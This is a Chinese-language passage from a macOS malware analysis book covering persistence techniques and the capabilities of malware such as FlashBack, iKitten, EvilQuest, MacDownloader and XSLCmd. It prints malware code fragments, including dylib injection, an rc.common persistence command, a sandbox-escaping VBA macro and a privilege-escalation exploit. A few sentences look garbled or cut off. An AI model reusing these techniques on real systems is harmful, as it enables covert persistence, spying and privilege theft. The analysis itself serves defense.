在本节中,我们首先讨论恶意软件可能利用的 dylib 持久化的一般方法,这些方法能够针对广泛的进程进行攻击。接下来,我们将探讨恶意软件可以利用的具体基于插件的持久化方法,这些方法能够以隐秘的方式实现重新执行。请注意,恶意软件作者也可能滥用动态库执行其他目的,而不仅仅是持久化,例如篡改感兴趣的进程,如用户的浏览器。此外,一旦动态库被加载到某个进程中,该动态库将继承该进程的权限,这可能使恶意软件能够访问受保护的设备,如摄像头或麦克风以及其他敏感资源。
DYLD_* 环境变量
任何代码都可以使用 DYLD_* 环境变量,如 DYLD_INSERT_LIBRARIES 和 DYLD_FRAMEWORK_PATH,在加载时将任何动态库注入目标进程。当加载进程时,动态加载器将检查 DYLD_INSERT_LIBRARIES 变量并加载它指定的任何库。通过滥用这一技术,攻击者可以确保每次启动该进程时都会加载恶意库。如果该进程经常自动启动,或者用户频繁启动它,那么这种技术就提供了一种相当可靠且高度隐蔽的持久化方式。^(10)
通过 DYLD_* 环境变量持久化注入动态库的具体方法各不相同。如果恶意软件的目标是启动项,它可能会通过向启动项的属性列表中插入一个新的键/值对来进行修改。键名 EnvironmentVariables 会引用一个包含 DYLD_INSERT_LIBRARIES 键/值对的字典,指向恶意的动态库。如果恶意软件的目标是某个应用程序,则该方法涉及修改应用程序的 Info.plist 文件并插入类似的键/值对,但键名为 LSEnvironment。
我们来看一个例子。臭名昭著的 FlashBack 恶意软件通过滥用这种技术来保持持久化,目标是用户的浏览器。列表 2-17 是一个被 FlashBack 篡改的 Safari Info.plist 文件片段。
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
1 <string>/Applications/Safari.app/Contents/Resources/UnHackMeBuild</string>
</dict>
列表 2-17:DYLD_INSERT_LIBRARIES 持久化(FlashBack)
请注意,FlashBack 恶意软件已经向文件中添加了一个LSEnvironment字典,其中包含一个DYLD_INSERT_LIBRARIES键/值对。该值指向恶意动态库 1,当浏览器启动时,macOS 将加载并在 Safari 上下文中执行它。^(11)
自 2012 年 FlashBack 滥用此技术以来,Apple 大幅度减少了DYLD_*环境变量的作用范围。例如,动态加载器(dyld)现在在多种情况下会忽略这些变量,比如 Apple 平台的二进制文件或使用强化运行时编译的第三方应用程序。值得注意的是,平台二进制文件以及那些受强化运行时保护的应用程序,可能对其他动态库插入(如本节后续讨论的那些)不易受到影响。有关强化运行时提供的安全功能的更多详细信息,请参见 Apple 的文档《强化运行时》。^(12)
尽管采取了这些预防措施,许多操作系统组件和流行的第三方应用程序仍然支持加载任意动态库。此外,选择加入强化运行时的操作系统二进制文件和应用程序,可能会提供例如com.apple.security.cs.allow-dyld-environment-variables或com.apple.security.cs.disable-library-validation等特权,允许加载恶意动态库。因此,基于动态库的持久性依然存在大量机会。
Dylib 代理
一种更现代的动态库注入方法涉及一种我称之为dylib 代理的技术。简而言之,dylib 代理通过将目标进程依赖的库替换为恶意库来实现。当目标应用程序启动时,恶意动态库将被加载并执行。
为了保持应用程序的合法功能,恶意库代理原始库的请求和返回。它可以通过创建一个包含LC_REEXPORT_DYLIB加载命令的动态库来实现这种代理。我们将在第五章讨论加载命令;现在只需知道,LC_REEXPORT_DYLIB加载命令本质上告诉动态加载器:“嘿,虽然我这个恶意库并未实现你所需要的功能,但我知道谁有!”事实证明,这就是加载器维持代理库提供的功能所需的唯一信息。
尽管我们尚未看到恶意软件滥用这种 dylib 代理技术,但安全研究人员(包括我自己)已经利用它来破坏各种应用程序。特别是,我曾滥用 Zoom 应用,访问用户的摄像头,并在每次用户打开视频会议应用时实现隐秘的持久性。让我们简要回顾一下针对 Zoom 的这一特定攻击的细节,因为它提供了一个实际的例子,说明攻击者或恶意软件如何实现隐秘的基于动态库的持久性。
尽管 Zoom 使用强化运行时编译其应用程序,通常可以防止动态库注入攻击,但旧版本包含 com.apple.security.cs.disable-library-validation 权限。此权限指示 macOS 禁用库验证,允许任意库加载到 Zoom 中。为了获取持久性,恶意软件可以代理 Zoom 的依赖项之一,例如其 SSL 库 libssl.1.0.0.dylib。恶意软件可以复制合法的 SSL 库,命名为 libssl.1.0.0_COPY.dylib,然后创建一个带有与原始 SSL 库相同名称的恶意代理库。这个恶意库将包含一个 LC_REEXPORT_DYLIB 加载命令,指向 SSL 库的副本。要查看此过程的实际情况,请查看 macOS 的 otool 输出,使用 -l 标志运行,列出恶意动态库的加载命令(图例 2-18)。
% **otool -l zoom.us.app/Contents/Frameworks/libssl.1.0.0.dylib**
...
Load command 11
cmd LC_REEXPORT_DYLIB 1
cmdsize 96
name /Applications/zoom.us.app/Contents/Frameworks/libssl.1.0.0_COPY.dylib 2
time stamp 2 Wed Dec 31 14:00:02 1969
current version 1.0.0
compatibility version 1.0.0
图例 2-18:代理动态库
请注意,此库包含一个重新导出指令 1,指向原始的 SSL 库 2。这确保了运行应用所需的 SSL 功能不会丢失。一旦恶意代理库就位,它将自动加载并在用户启动 Zoom 时执行其构造函数。现在,除了持久性外,恶意软件还可以访问 Zoom 的隐私权限,例如麦克风和摄像头权限,从而通过网络摄像头监视用户!
Dylib 劫持
Dylib 劫持是 Dylib 代理的更隐蔽但更专用版本。在 Dylib 劫持 中,恶意软件可以利用试图从多个攻击者可写位置加载动态库的程序,或者对一个不存在的动态库有弱依赖的程序。在前一种情况下,如果主要位置不包含库,则应用程序将在第二位置搜索它。在这种情况下,恶意软件可以将自己安装为同名的恶意库,放在程序首先搜索的位置。例如,假设应用程序首先尝试从应用程序的 Library/ 目录加载 foo.dylib,然后再从 /System/Library 目录加载。如果 foo.dylib 在应用程序的 Library/ 目录中不存在,攻击者可以在该位置添加同名的恶意库。这个恶意库将在运行时自动加载。
让我们看一个具体的例子。在某些较老版本的 macOS(包括 OS X 10.10)上,Apple 的 iCloud 照片流代理会尝试从 iPhoto.app/Contents/Library/LoginItems/ 或 iPhoto.app/Contents/Framework 目录加载一个名为 PhotoFoundation 的动态库。由于该库出现在第二个目录,恶意软件可以将一个同名的恶意动态库植入主目录。在随后的启动中,代理首先会遇到并加载恶意动态库。由于该代理在每次用户登录时都会自动启动,这提供了一种非常隐蔽的持久化手段 (Listing 2-19)。
$ **reboot**
$ **lsof -p** `<pid of Photo Stream Agent>`
. . .
/Applications/iPhoto.app/Contents/Library/LoginItems/PhotoFoundation.framework/Versions/A/PhotoFoundation
Listing 2-19: 一个动态库劫持器,PhotoFoundation,由 Apple 的照片流代理加载
如果一个程序存在对一个动态库的可选或弱依赖,并且该动态库不存在,它也可能容易受到 dylib 劫持。当依赖关系较弱时,程序始终会查找该动态库,但如果该库不存在,程序仍然可以执行。然而,如果恶意软件能够将恶意动态库放置在弱指定的位置,程序在后续启动时就会加载它。如果你有兴趣了解更多关于 dylib 劫持的内容,可以查看我在这个主题上的研究论文《OS X 上的 dylib 劫持》或《通过 Mach-O 二进制操作进行 MacOS dylib 注入》^(13)。
尽管目前尚未发现 Mac 恶意软件利用这一技术在现实环境中进行持久化,但后渗透代理 EmPyre 有一个利用 dylib 劫持的持久化模块 (Listing 2-20):^(14)
import base64
class Module:
def __init__(self, mainMenu, params=[]):
# metadata info about the module, not modified during runtime
self.info = {
# name for the module that will appear in module menus
'Name': 'CreateDylibHijacker',
# list of one or more authors for the module
'Author': ['@patrickwardle,@xorrior'],
# more verbose multi-line description of the module
'Description': ('Configures and EmPyre dylib for use in a Dylib hijack, given the
path to a legitimate dylib of a vulnerable application. The architecture of the
dylib must match the target application. The configured dylib will be copied local
to the hijackerPath'),
# True if the module needs to run in the background
'Background' : False,
# File extension to save the file as
'OutputExtension' : "",
'NeedsAdmin' : True,
# True if the method doesn't touch disk/is reasonably opsec safe
'OpsecSafe' : False,
# list of any references/other comments
'Comments': [
'comment',
'https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x'
]
}
Listing 2-20: 一个 dylib 劫持持久化模块,CreateHijacker.py(EmPyre)
这些 dylib 劫持技术仅对特定脆弱的应用程序有效,也就是说,只有那些在多个位置查找动态库或具有弱、不存在的依赖关系的程序才会受到影响。此外,如果恶意软件希望利用这一技术实现持久化,那么这些脆弱的程序必须是自动启动的或常常被启动的。最后,在较新的 macOS 版本中,像硬化运行时这样的缓解措施可能会最小化所有 dylib 注入的影响,因为这些保护机制会通用地防止加载任意动态库。
插件
许多 Apple 守护进程和第三方应用程序设计上都支持插件或扩展,无论是动态库、包还是其他各种文件格式。虽然插件可以合法地扩展程序的功能,但恶意软件可能会滥用这些功能,在进程上下文中实现隐蔽的持久化。如何实现?通常通过创建一个兼容的插件并将其安装到程序的插件目录中。
例如,所有现代浏览器都支持插件或扩展,这些插件或扩展在每次浏览器启动时会自动执行,为恶意代码提供了一个便捷的持久化方式。此外,这些插件直接访问用户的浏览会话,使恶意代码(如广告软件)能够显示广告、劫持流量、提取保存的密码等。
这些扩展可以非常隐蔽地运行。考虑恶意浏览器扩展 Pitchofcase,如图 2-3 所示。在一篇报道中,安全研究员 Phil Stokes 指出,“乍一看,Pitchofcase 看起来像任何其他广告软件扩展:启用时,它会将用户搜索通过一些按点击付费的地址重定向,最后跳转到 pitchofcase.com。该扩展在后台隐形运行,没有工具栏按钮或其他交互方式。”^(15) 此外,Phil 还指出,如果点击图 2-3 中的卸载按钮,浏览器扩展实际上并不会被卸载。

图 2-3:恶意浏览器扩展(广告软件)
近期的恶意浏览器扩展示例包括 Shlayer、Bundlore 和 Pirrit。后者尤其值得注意,因为它是首个原生针对苹果新发布的 M1 芯片的恶意软件,该芯片于 2020 年发布。^(16)
当然,恶意软件也可以以类似的方式颠覆其他类型的应用程序。例如,在“iTunes 恶意插件概念验证”博客文章中,安全研究员 Pedro Vilaça 说明了攻击者如何迫使 iTunes 在 OS X 10.9 上加载恶意插件。因为用户可以写入 iTunes 插件文件夹,Vilaça 观察到“一个特洛伊木马投放器可以轻松加载恶意插件。或者它可以作为[一个] RAT 的通信通道。”^(17) 在此基础上,Vilaça 描述了恶意软件如何颠覆 iTunes 来窃取用户凭证,但恶意插件也可以提供持久性,因为它会在每次启动 iTunes 时自动加载和执行。
最后,各种 Apple 守护进程支持第三方插件,包括用于授权、目录服务、QuickLook 和 Spotlight 的插件,恶意软件可以利用这些插件实现隐蔽的持久性。^(18) 尽管如此,每个新的 macOS 版本都通过权限、代码签名检查、沙箱以及其他安全功能继续限制插件的影响。也许由于它们的影响越来越有限,目前尚无已知恶意软件滥用这些插件来实现持久性。
脚本
Mac 恶意软件可能会修改各种系统脚本以实现持久化。其中一个脚本是位于/etc中的rc.common文件。在旧版本的 macOS 中,这个 shell 脚本在启动过程中执行,使得恶意软件可以将任意命令插入其中,在系统启动时执行。例如,iKitten 恶意软件使用一个名为addToStartup的方法滥用此文件,该方法将恶意 shell 脚本的路径作为唯一参数传递并保持其持久性(清单 2-21)。
-[AppDelegate addToStartup:(NSString*)item] {
name = [item lastPathComponent];
cmd = [NSString stringWithFormat:@"if cat /etc/rc.common | grep %@; then sleep 1;
else echo 'sleep %d && %@ &' >> /etc/rc.common; fi", name, 120, item]; 1
[CUtils ExecuteBash:command]; 2
...
}
清单 2-21:为了持久化而修改rc.common文件(iKitten)
该方法构建了一个命令,其逻辑首先检查rc.common文件中是否已存在该 shell 脚本的名称。如果没有,else逻辑将把脚本附加到文件的末尾。然后,通过调用名为ExecuteBash的方法执行该命令。
其他可能用于持久化篡改的脚本可能是特定于应用程序的。例如,shell 初始化脚本,如.bashrc或.bash_profile,可能会在用户启动 shell 时自动执行。^(19) 虽然修改这些脚本为持久化提供了一个潜在途径,但这种持久化依赖于应用程序的执行,因此如果用户没有启动 shell,持久化就不会发生。
事件监视规则
Jonathan Levin 的《OS Internals》第一卷描述了 Mac 恶意软件如何可能滥用事件监视守护进程(emond)实现持久化。^(20) 由于操作系统在系统启动时自动启动emond,处理并执行任何指定的规则,恶意软件可以简单地创建一个规则,使得守护进程自动执行。你可以在/etc/emond.d/rules或/private/var/db/emondClients目录中找到emond将要执行的规则。目前,尚无已知恶意软件利用此类规则实现持久化。
重新打开的应用程序
Mac 用户可能熟悉以下提示框,它会在退出时显示(图 2-4)。

图 2-4:重新打开应用程序提示
如果勾选了该框,macOS 将在下次登录时自动重新启动所有正在运行的应用程序。在后台,它将要重新打开的应用程序存储在名为com.apple.loginwindow.plutil,你可以查看此属性列表的内容(清单 2-22):
% **plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.151CA171-718D-592B-B37C-ABB9043C4BE2.plist**
{
"TALAppsToRelaunchAtLogin" =>
0 => {
"BackgroundState" => 2
"BundleID" => "com.apple.ichat"
"Hide" => 0
"Path" => "/System/Applications/Messages.app"
}
1 => {
"BackgroundState" => 2
"BundleID" => "com.google.chrome"
"Hide" => 0
"Path" => "/Applications/Google Chrome.app"
}
}
清单 2-22:重新打开的应用程序属性列表
如你所见,文件包含了各种键/值对,包括捆绑标识符和应用程序重新启动的路径。虽然没有已知的恶意软件以这种方式持续存在,但它可能会直接将自身添加到这个属性列表中,从而在用户下次登录时自动重新执行。为了确保持续的持久性,恶意软件监控这个 plist 并在需要时重新添加自己是明智的做法。
应用程序和二进制文件修改
隐秘的恶意软件可能通过修改感染系统上的合法程序,确保启动这些程序时运行恶意代码,从而实现持久性。在 2020 年初,安全研究员 Thomas Reed 发布了一份报告,突出了针对 macOS 的广告软件的复杂性。在这份报告中,他指出,广泛传播的广告软件 Crossrider 通过破坏 Safari 浏览器来保持各种恶意浏览器扩展的持久性。通过创建修改版的应用程序,Crossrider 使得每当用户打开浏览器时,恶意的 Safari 扩展会被启用,而无需用户采取任何操作。然后它删除了这个修改过的 Safari 副本,Reed 写道,“让真正的 Safari 副本误以为它安装并启用了几个额外的浏览器扩展。”^([21)
2020 年初的另一个例子,EvilQuest 结合了几种持久性技术。该恶意软件最初作为启动项存在,但也通过病毒传播感染系统中的多个二进制文件。此措施确保即使用户删除了启动项,恶意软件仍能保持持久性!这种病毒性持久性在 macOS 上很少见,因此值得仔细观察。当最初执行时,EvilQuest 会生成一个新的后台线程来查找并感染其他二进制文件。负责生成候选列表的函数被形象地命名为get_targets,而感染函数则叫做append_ei。你可以在以下反汇编中看到这些内容(列表 2-23)。
ei_loader_thread:
0x000000010000c9a0 push rbp
0x000000010000c9a1 mov rbp, rsp
0x000000010000c9a4 sub rsp, 0x30
0x000000010000c9a8 lea rcx, qword [is_executable]
...
0x000000010000c9e0 call 1 get_targets
0x000000010000c9e5 cmp eax, 0x0
0x000000010000c9e8 jne leave
...
0x000000010000ca17 mov rsi, qword [rax]
0x000000010000ca1a call 2 append_ei
列表 2-23: 病毒感染逻辑(EvilQuest)
如图所示,通过get_targets函数 1 找到的每个候选可执行文件都会传递给append_ei函数 2。append_ei函数将恶意软件的副本插入到目标二进制文件的开头,然后将原始目标字节重写到文件的末尾。最后,它在文件末尾添加一个尾部,包含一个感染标记0xdeadface,以及指向原始目标字节的文件偏移量。我们将在第十一章进一步讨论这个过程。
一旦恶意软件通过完全插入自身到文件的开头感染了一个二进制文件,它将在任何人执行该文件时运行。当它运行时,首先检查其主要的持久化机制——启动项是否被删除;如果删除了,它会替换其恶意的启动项。为了避免被检测到,恶意软件还会通过解析尾部来执行原始文件的内容,以获取文件原始字节的位置。这些字节随后会被写入到一个新的文件中,命名为
KnockKnock . . . 谁在那儿?
如果你有兴趣了解在你的 macOS 系统上持续安装了哪些软件或恶意软件,我为此目的创建了一个免费的开源工具。KnockKnock 会告诉你谁在那儿,通过查询系统中利用本章讨论的多种持久化机制的任何软件 (图 2-5)。^(22) 值得指出的是,由于合法软件也会持久存在,KnockKnock 显示的绝大多数(如果不是全部)项目将是完全无害的。

图 2-5:KnockKnock?谁在那儿?. . . 希望只有合法软件!
下一步
在本章中,我们讨论了 macOS 恶意软件可以滥用的多种持久化机制,以维持对感染系统的访问。为了全面性,我们还讨论了几种恶意软件在野外尚未利用的可能持久化方法。
创建一个真正全面的持久化方法列表很可能是一项徒劳的工作。首先,苹果已经弃用了几种非常过时的持久化方式,例如通过 StartupParameters.plist 文件,因此这些方法在最近版本的 macOS 中不再有效。这就是为什么我在本章中没有涉及这些方法。其次,Mac 恶意软件作者是一个富有创意的群体。尽管我们已经揭示了许多持久化方法,但我们如果认为恶意软件作者只会使用这些方法,那就太天真了。他们肯定会找到新的或创新的方式来保持他们的恶意创作!
如果你有兴趣了解更多关于持久化的方法,包括已经不再有效的历史方法以及本书出版后发现的方法,建议你查看以下资源:
-
“持久化,”MITRE ATT&CK,
attack.mitre.org/tactics/TA0003/ -
“超越老旧的 LaunchAgents,” Theevilbit 博客,
theevilbit.github.io/beyond/beyond_intro/ -
“Mac OS X 上的恶意软件持久化方法,”《病毒公报》,
www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
在下一章中,我们将探讨恶意软件在持续感染 Mac 系统后,所追求的目标。
参考文献
第三章:能力

在分析恶意软件时,理解成功感染后的发生情况通常至关重要。换句话说,恶意软件到底做了什么?虽然这个问题的答案取决于特定恶意软件的目标,但它可能包括调查系统、提升权限、执行命令、窃取文件、勒索用户文件,甚至挖掘加密货币。在本章中,我们将详细探讨常见的 Mac 恶意软件能力。
分类 Mac 恶意软件的能力
恶意软件的能力在很大程度上取决于恶意软件的类型。一般而言,我们可以将 Mac 恶意软件分为两大类:犯罪和间谍。
创造恶意软件的网络犯罪分子通常由一个单一因素驱动:金钱!因此,属于这一类别的恶意软件具有一些能力,旨在帮助恶意软件作者从中获利,可能通过展示广告、劫持搜索结果、挖掘加密货币或加密用户文件进行勒索。广告软件属于这一类别,因为它旨在暗中为创作者生成收入。(广告软件与恶意软件的区别往往比较微妙,在许多情况下几乎无法察觉。因此,在这里,我们不做区分。)
另一方面,旨在监视受害者的恶意软件(例如,某些政府机构)更可能具备更隐蔽或更全面的能力,可能包括通过系统麦克风录音或暴露一个交互式命令行,允许远程攻击者执行任意命令。
当然,这两个大类的能力存在重叠。例如,下载并执行任意二进制文件的能力对大多数恶意软件作者来说是非常有吸引力的,因为它提供了更新或动态扩展其恶意创作的手段(图 3-1)。

图 3-1:恶意软件能力的分类
调查与侦察
在犯罪导向和间谍导向的恶意软件中,我们经常会发现一些设计用于调查或侦察系统环境的逻辑,主要有两个原因。首先,这可以让恶意软件了解其周围环境,从而驱动后续的决策。例如,如果恶意软件检测到第三方安全工具,它可能选择不持续感染该系统。或者,如果它发现自己以非根用户权限运行,它可能会尝试提升权限(或仅仅跳过需要此类权限的操作)。因此,恶意软件通常会在进行任何其他恶意操作之前执行侦察逻辑。
其次,恶意软件可能会将其收集的调查信息传回攻击者的命令与控制服务器,在那里攻击者可能会利用这些信息唯一标识感染的系统(通常是通过查找某些系统特有的唯一标识符)或确定感兴趣的感染计算机。在后者的情况下,最初看起来可能是对成千上万系统的无差别攻击,实际上可能是一次高度针对性的行动,根据调查信息,攻击者最终会放弃大多数感染的系统。
让我们简要了解几种 Mac 恶意软件样本中的特定调查功能。相关时,我会指出攻击者如何利用这些调查数据。我们从一种 Proton 恶意软件版本开始。一旦 Proton 进入 Mac 系统,它会进行系统调查,以确定是否安装了任何第三方防火墙。如果找到了防火墙,恶意软件将不会持续感染该系统,而是直接退出。为什么?因为此类防火墙产品可能会在恶意软件尝试连接到其命令与控制服务器时,提醒用户存在恶意软件。因此,恶意软件作者决定跳过持续感染这些系统,而不是冒着被检测的风险。
Proton 的调查逻辑通过检查特定防火墙产品相关文件的存在来检测防火墙。例如,在以下恶意软件反编译代码片段中,我们发现了一个检查属于流行防火墙 LittleSnitch 的内核扩展的操作(列表 3-1):
//string at index 0x51: '/Library/Extensions/LittleSnitch.kext'
1 path = [paths objectAtIndexedSubscript:0x51];
2 if (YES == [NSFileManager.defaultManager fileExistsAtPath:path])
{
exit(0x0);
}
列表 3-1:检测 LittleSnitch 防火墙(Proton)
在这里,恶意软件首先从硬编码路径的嵌入式字典中提取一个指向 Little Snitch 内核扩展的路径 1。然后,它通过 fileExistsAtPath API 检查系统中是否找到该内核扩展。如果确实找到了内核扩展,这意味着防火墙已安装,从而触发恶意软件提前退出 2。
MacDownloader 是另一个具有调查能力的 Mac 恶意软件样本。与 Proton 不同,它的目标并非进行可操作的侦察,而是收集感染系统的详细信息并将其发送给远程攻击者。正如一篇关于该恶意软件的 Iran Threats 博客文章所指出的,这些信息包括用户的 钥匙串(其中包含密码、证书等),以及关于“运行的进程、已安装的应用程序以及通过伪造的系统偏好设置对话框获取的用户名和密码”的详细信息。^(1)
从恶意软件的二进制文件 Bitdefender Adware Removal Tool 中转储 Objective-C 类信息(我们将在第五章中讲解),揭示了多个描述性的方法,这些方法负责执行和导出调查数据(列表 3-2):
% **class-dump "Bitdefender Adware Removal Tool"**
...
- (id)getKeychainsFilePath;
- (id)getInstalledApplicationsList;
- (id)getRunningProcessList;
- (id)getLocalIPAddress;
- (void)saveSystemInfoTo:(id)arg1 withRootUserName:(id)arg2 andRootPassword:(id)arg3;
- (BOOL)SendCollectedDataTo:(id)arg1 withThisTargetId:(id)arg2;
列表 3-2:与调查相关的方法(MacDownloader)
在 MacDownloader 将收集到的调查数据发送给攻击者之前,它会将其保存到本地文件 /tmp/applist.txt 中。通过在虚拟机中运行恶意软件,我们可以通过检查此文件来捕获调查结果(列表 3-3):
"OS version: Darwin users-Mac.local 16.7.0 Darwin Kernel Version 16.7.0: Thu Jun 15 17:36:27 PDT 2017; root:xnu-3789.70.16~2\/RELEASE_X86_64 x86_64",
"Root Username: \"user\"",
"Root Password: \"hunter2\"",
...
[
"Applications\/App%20Store.app\/",
"Applications\/Automator.app\/",
"Applications\/Calculator.app\/",
"Applications\/Calendar.app\/",
"Applications\/Chess.app\/",
...
]
"process name is: Dock\t PID: 254 Run from: file:\/\/\/System\/Library\/CoreServices\/Dock.app\/Contents\/MacOS\/Dock",
"process name is: Spotlight\t PID: 300 Run from: file:\/\/\/System\/Library\/CoreServices\/Spotlight.app\/Contents\/MacOS\/Spotlight",
"process name is: Safari\t PID: 972 Run from: file:\/\/\/Applications\/Safari.app\/Contents\/MacOS\/Safari"...
列表 3-3:一项调查(MacDownloader)
如你所见,这份调查信息包含了感染机器的基本版本信息、用户的 root 密码、已安装的应用程序以及正在运行的应用程序列表。
提权
在对新感染机器的初步调查过程中,恶意软件通常会查询其运行时环境,以确认其权限级别。当恶意软件最初获得在目标系统上执行代码的能力时,它通常会发现自己在沙箱内运行,或者在当前登录用户的上下文中运行,而不是作为 root 用户。通常,它希望逃逸任何沙箱或提升其权限为 root,这样它就可以更全面地与感染系统交互并执行特权操作。
沙箱逃逸
尽管利用沙箱逃逸的恶意软件较为罕见,因为这些逃逸通常需要一个漏洞,但我们可以在 2018 年的一份恶意 Microsoft Office 文档中找到一个例子。名为 BitcoinMagazine-Quidax_InterviewQuestions_2018 的文档包含了恶意宏,当文件在 Microsoft Word 中打开时(如果用户启用了宏),这些宏会自动运行。检查这份恶意文档发现,它嵌入了一个 Python 脚本,包含了下载并执行 Metasploit 的 Meterpreter 的逻辑。
然而,macOS 会沙箱化文档,因此它们执行的任何代码都将在一个高度受限、低权限的环境中运行。或者说,它并非如此吗?仔细查看文档中的恶意宏代码,可以发现有逻辑创建了一个名为 ~$com.xpnsec.plist 的启动代理属性列表(列表 3-4):
# olevba -c "BitcoinMagazine-Quidax_InterviewQuestions_2018.docm"
VBA MACRO NewMacros.bas
in file: word/vbaProject.bin
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
...
path = Environ("HOME") & "/../../../../Library/LaunchAgents/~$com.xpnsec.plist"
arg = "<?xml version=""1.0"" encoding=""UTF-8""?>\n" & _
"<!DOCTYPE plist PUBLIC ""-//Apple//DTD PLIST 1.0//EN"" ""http://www.apple.com/DTDs/PropertyList-1.0.dtd"">\n" & _
"<plist version=""1.0"">\n" & _
"<dict>\n" & _
"<key>Label</key>\n" & _
"<string>com.xpnsec.sandbox</string>\n" & _
"<key>ProgramArguments</key>\n" & _
"<array>\n" & _
"<string>python</string>\n" & _
"<string>-c</string>\n" & _
"<string>" & payload & "</string>" & _
"</array>\n" & _
"<key>RunAtLoad</key>\n" & _
"<true/>\n" & _
"</dict>\n" & _
"</plist>"
Result = system("echo """ & arg & """ > '" & path & "'", "r")
列表 3-4:通过启动代理逃逸沙箱
由于较旧版本的 Microsoft Word 在 macOS 上存在漏洞,程序可以在沙箱内创建以 ~$ 为前缀的启动代理属性列表,如 ~$com.xpnsec.plist。这些属性列表可以指示 macOS 在用户下次登录时加载一个启动代理,在沙箱外运行。通过这一逃逸手段,Meterpreter 有效负载能够在沙箱外执行,从而使攻击者获得对感染系统的更广泛访问权限。有关 BitcoinMagazine-Quidax_InterviewQuestions_2018 文档和其利用的沙箱逃逸的详细分析,请参见我的相关文章:“Word to Your Mac: Analyzing a Malicious Word Document Targeting macOS Users” 和 “Escaping the Microsoft Office Sandbox。”^(2)
获取 Root 权限
一旦脱离沙箱(或者如果沙箱本来就不是问题,比如用户直接运行恶意软件的情况),恶意软件通常会尝试获取 root 权限。有了 root 权限后,恶意软件能够执行更多侵入性且隐蔽的操作,而这些操作在没有 root 权限的情况下会被阻止。
恶意软件可以通过多种方法提升权限,其中最简单的一种方法就是直接请求用户授权!例如,在安装一个软件包(.pkg 文件)时,任何需要 root 权限的操作都会自动触发授权提示。如 图 3-2 所示,当一个被 EvilQuest 木马感染的包被打开时,恶意软件的安装逻辑会触发此类提示。

图 3-2:授权提示(EvilQuest)
由于用户在安装软件包时经常会被要求提供管理员凭据,而这个提示来自系统安装程序应用的上下文环境,因此大多数用户会选择同意,从而授予恶意软件 root 权限。
如果恶意软件不是作为软件包分发的,它也可以通过调用各种系统 API 请求提升权限。例如,已废弃的 macOS AuthorizationExecuteWithPrivileges API 会在用户提供必要凭据后,以 root 权限运行可执行文件。一个利用此 API 的恶意软件示例是 ColdRoot,它在一个名为(虽然拼写错误)LETMEIN_$$_EXEUTEWITHPRIVILEGES 的函数中调用它 (列表 3-5):
LETMEIN_$$_EXEUTEWITHPRIVILEGES(...) {
AuthorizationCreate(...);
AuthorizationCopyRights(...);
AuthorizationExecuteWithPrivileges(..., path2self, ...);
列表 3-5:调用 AuthorizationExecuteWithPrivileges API(ColdRoot)
调用该 API 会生成一个系统请求,要求用户进行身份验证,以便恶意软件能够以 root 权限运行自身 (图 3-3)。

图 3-3: 通过AuthorizationExecuteWithPrivileges API 进行的授权提示(ColdRoot)
更复杂的恶意软件可能会寻求通过特权提升漏洞获取 root 甚至内核访问权限,以执行特权操作。2014 年,FireEye 的研究人员发现了 XSLCmd 恶意软件。^(3) 虽然它是一个相当标准的后门,但它包含了一个最初被忽视的零日漏洞,使其能够在感染的系统上全局捕获所有按键。当时,当前版本的 Mac OS X 要求启用辅助设备才能让程序全局捕获按键。程序可以通过创建文件/var/db/.AccessibilityAPIEnabled来启用这些设备。然而,创建该文件需要 root 权限。
为了绕过这一要求,该恶意软件以普通用户权限运行,利用 macOS 的Authenticator和UserUtilities类向writeconfig.xpc服务发送消息。该服务以 root 权限运行,但未对客户端进行身份验证,因此允许任何程序连接到它并请求执行特权操作。因此,恶意软件可以强迫该服务创建所需的文件,以启用辅助设备(/var/db/.AccessibilityAPIEnabled),从而开始全局键盘记录(列表 3-6):
void sub_10000c007(...) {
auth = [Authenticator sharedAuthenticator];
sfAuth = [SFAuthorization authorization]; 1
[sfAuth obtainWithRight:"system.preferences" flags:0x3 error:0x0];
[auth authenticateUsingAuthorizationSync:sfAuth]; 2
...
attrs = [NSDictionary dictionaryWithObject:@(444o)
forKey:NSFilePosixPermissions];
data = [NSData dataWithBytes:"a" length:0x1];
[UserUtilities createFileWithContents:data
path:@"/var/db/.AccessibilityAPIEnabled" attributes:attrs]; 3
列表 3-6: 利用 writeconfig XPC 服务的零日漏洞(XSLCmd)
在这段从 XSLCmd 二进制文件反编译出来的代码片段中,我们看到恶意软件首先实例化了两个系统类 1。一旦认证通过 2,它调用了系统的UserUtilities类方法,该方法指示writeconfig.xpc服务代表它创建.AccessibilityAPIEnabled文件 3。
让我们简要看看另一个恶意代码示例,利用特权提升漏洞执行特权操作。在 2015 年,Malwarebytes 的 Adam Thomas 发现了一个广告软件安装程序,利用了一个已知的且当时未修复的零日漏洞。该漏洞最初由安全研究员 Stefan Esser 发现,允许非特权代码执行特权命令(无需 root 密码)。^(4) 该广告软件利用这个漏洞修改了sudoers文件,正如 Thomas Reed 所指出的,“这允许使用 sudo 以 root 身份执行 shell 命令,而不需要通常的输入密码要求。”^(5)
最近版本的 macOS 增加了额外的安全机制,以确保即使恶意软件获得了 root 权限,它仍然可能被阻止执行不加选择的操作。但为了规避这些安全机制,恶意软件可能会利用漏洞或试图强迫用户手动绕过它们。可以合理假设,未来我们会看到更多的权限升级漏洞。
与广告软件相关的劫持和注入
普通的 Mac 用户不太可能成为拥有零日漏洞的复杂网络间谍攻击者的目标。相反,他们更可能成为简单的广告软件相关攻击的受害者。与其他类型的 Mac 恶意软件相比,广告软件相当普遍。它的目标通常是为其创建者赚取收入,通常通过广告或由附属链接支持的劫持搜索结果。
例如,在 2017 年,我分析了一款名为 Mughthesec 的广告软件,它伪装成 Flash 安装程序。该应用会安装各种广告软件,包括一个名为Safe Finder的组件,它会劫持 Safari 的主页,将其设置为指向一个附属链接驱动的搜索页面(图 3-4)。

图 3-4:Safari 的主页被劫持(Mughthesec/Safe Finder)
在感染的系统上,打开 Safari 可以确认主页已被劫持,尽管这种方式看起来似乎无害:它仅仅显示一个看起来相当空白的搜索页面(图 3-5)。然而,查看页面源代码可以发现,其中包含了多个 Safe Finder 脚本。

图 3-5:被感染用户的新主页(Mughthesec/Safe Finder)
